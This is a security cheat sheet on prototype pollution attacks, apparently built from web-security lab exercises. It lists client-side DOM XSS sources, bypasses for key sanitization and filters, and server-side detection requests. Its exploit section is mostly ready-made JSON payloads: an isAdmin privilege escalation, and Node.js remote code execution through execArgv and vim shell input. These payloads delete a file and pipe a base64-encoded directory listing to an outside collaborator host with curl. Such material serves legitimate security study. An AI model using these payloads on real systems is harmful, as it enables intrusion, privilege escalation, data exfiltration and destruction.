# Prototype Pollution

Created by @mehdi0x90

## Client-side

### Sources

### Sinks

### DOM XSS

- sources
  - URL via either the query or fragment string (hash)
  - JSON-based input
  - Web messages
- Find Source
  - __proto__
    - /?__proto__[foo]=bar
    - /?__proto__.foo=bar
    - ```
      {
        "__proto__": {
          "evilProperty": "payload"
        }
      }
      ```
  - constructor

Open the browser DevTools panel and go to the Console tab. Enter Object.prototype. Study the properties of the returned object and observe that your injected foo property has not been added.

- Identify a gadget (Find Sink) — Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks
- Exploit
- Tools — DOM Invader

### Bypassing flawed key sanitization

- /?__pro__proto__to__.foo=bar
- /?__pro__proto__to__[foo]=bar
- /?constconstructorructor.[protoprototypetype][foo]=bar
- /?constconstructorructor.protoprototypetype.foo=bar

## Server-side

### Detecting via polluted property reflection

```
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
  "user":"wiener",
  "firstName":"Peter",
  "lastName":"Wiener",
  "__proto__":{
    "foo":"bar"
  }
}
```

If the website is vulnerable, your injected property would then appear in the updated object in the response:

```
HTTP/1.1 200 OK
...
{
  "username":"wiener",
  "firstName":"Peter",
  "lastName":"Wiener",
  "foo":"bar"
}
```

### Detecting without polluted property reflection

- Status code override
- JSON spaces override
- Charset override

### Scanning sources

Server-Side Prototype Pollution Scanner extension

In Burp, go to the Proxy > HTTP history tab

Right-click your selection and go to Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution, then select one of the scanning techniques from the list

### Bypassing input filters

- Obfuscate the prohibited keywords
- Access the prototype via the constructor property instead of __proto__

```
"constructor": {
  "prototype": {
    "isAdmin":true
  }
}
```

- Node applications can also delete or disable __proto__ altogether using the command-line flags --disable-proto=delete or --disable-proto=throw respectively. However, this can also be bypassed by using the constructor technique

### Exploit

#### Privilege escalation

```
"constructor": {
  "prototype": {
    "isAdmin":true
  }
}
```

#### Remote code execution

##### Identifying a vulnerable request

```
"__proto__": {
  "shell":"node",
  "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
```

##### Remote code execution via child_process.fork()

- child_process.spawn()
- child_process.fork()

enable developers to create new Node subprocesses

```
"__proto__": {
  "execArgv":[
    "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
  ]
}
```

```
"__proto__": {
  "execArgv":[
    "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
  ]
}
```

##### Remote code execution via child_process.execSync()

```
"__proto__": {
  "shell":"vim",
  "input":":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
```

```
"__proto__": {
  "shell":"vim",
  "input":":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
```
```